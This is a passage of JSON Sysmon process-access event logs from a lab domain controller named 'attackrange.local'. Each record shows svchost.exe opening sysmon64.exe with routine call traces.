11:56:37.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5851,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:37.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:37.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5852,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:37.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:37.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5853,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:37.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:37.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5854,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:37.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:37.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5855,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:37.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:37.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5856,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:37.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:37.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5857,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:37.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:37.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5858,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:37.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 